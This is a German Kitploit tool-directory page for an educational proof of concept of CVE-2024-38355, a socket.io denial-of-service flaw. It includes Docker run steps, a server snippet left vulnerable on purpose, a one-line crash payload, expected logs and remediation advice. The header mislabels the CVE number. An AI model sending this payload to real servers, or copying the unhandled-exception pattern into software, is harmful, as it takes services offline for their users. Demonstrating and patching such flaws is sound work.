Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-38355-PoC — Proof of concept of CVE-2024-47554 | Kitploit
Tools/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Proof of concept of CVE-2024-47554

Repository anzeigen
1vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-38355 Demo (Socket.IO-Absturz)

Dieses Projekt ist ein Proof of Concept, das CVE-2024-38355 demonstriert, eine Denial-of-Service-Sicherheitslücke in socket.io. Das Projekt wurde zu Bildungszwecken erstellt, um den Angriffsmechanismus zu zeigen und wie man Anwendungen schützt.

Über die Sicherheitslücke (CVE-2024-38355)

Diese Sicherheitslücke betrifft socket.io-Versionen:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Ein speziell präpariertes Socket.IO-Paket kann eine nicht abgefangene Ausnahme auf dem Server auslösen, die den Node.js-Prozess zum Absturz bringt. Dies führt zu einem Denial-of-Service (DoS)-Angriff.

So funktioniert es:

  1. Der Client stellt normal eine Verbindung zum Socket.IO-Server her.
  2. Der Client sendet ein bösartiges Ereignis/Paket, das einen Fehler auf dem Server auslöst.
  3. Wenn der Servercode eine Ausnahme auslöst (z. B. durch die Verarbeitung nicht vertrauenswürdiger Eingaben) und kein Fehlerbehandler auf dem Socket vorhanden ist, stürzt die nicht abgefangene Ausnahme den gesamten Node.js-Prozess ab.
  4. Der Server wird für alle Benutzer unerreichbar.

Schlüsselfaktoren:

  • Das Fehlen eines error-Ereignis-Listeners auf dem Socket
  • Serverseitiger Code, der beim Verarbeiten von Clientdaten Ausnahmen auslösen kann
  • Kein globaler Handler für nicht abgefangene Ausnahmen

Projektstruktur

Das Projekt besteht aus zwei Docker-Containern:

  1. vulnerable-server: Ein Node.js-Server, der die anfällige Version [email protected] verwendet. Er hat einen Ereignisbehandler, der beim Empfang bösartiger Daten eine nicht abgefangene Ausnahme auslösen kann.
  2. exploit-client: Ein Node.js-Skript, das eine Verbindung zum Server herstellt, zuerst den normalen Betrieb testet und dann eine Nutzlast sendet, die den Server zum Absturz bringt.

Voraussetzungen

  • Docker
  • Docker Compose

Oder alternativ:

  • Node.js 18+
  • npm

Ausführung

Option 1: Mit Docker Compose (empfohlen)

Öffnen Sie ein Terminal im Stammverzeichnis des Projekts und führen Sie aus:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

Dies wird:

  1. Images für Server und Client erstellen.
  2. Den Server auf Port 3000 starten.
  3. Den Exploit-Client starten, der automatisch angreift und den Server zum Absturz bringt.

Option 2: Lokale Ausführung (ohne Docker)

Terminal 1 – Server starten:

root@kitploit:~
cd server
npm install
npm start

Terminal 2 – Exploit ausführen:

root@kitploit:~
cd exploit
npm install
npm start

Erwartete Ausgabe

Serverprotokolle:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Exploit-Protokolle:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Beenden

Drücken Sie Ctrl+C oder führen Sie aus:

root@kitploit:~
docker-compose down

Code-Analyse

Angreifbarer Server (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Exploit (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

Wie kann man es beheben?

Um Ihre Anwendung vor dieser Sicherheitslücke zu schützen:

  1. Aktualisieren Sie socket.io auf Version 4.6.2 oder neuer (der Fix fügt einen standardmäßigen Noop-Fehlerbehandler hinzu).

  2. Fügen Sie immer Fehlerbehandler an Sockets an:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. Umwickeln Sie Ereignisbehandler mit try-catch:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. Fügen Sie einen globalen Handler für nicht abgefangene Ausnahmen hinzu (als letzte Maßnahme):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

Referenzen

  • CVE-2024-38355 auf NVD
  • GitHub-Sicherheitshinweis GHSA-25hc-qcg6-38wj
  • Fix Commit

Projekt erstellt zu Bildungszwecken.

Tool herunterladen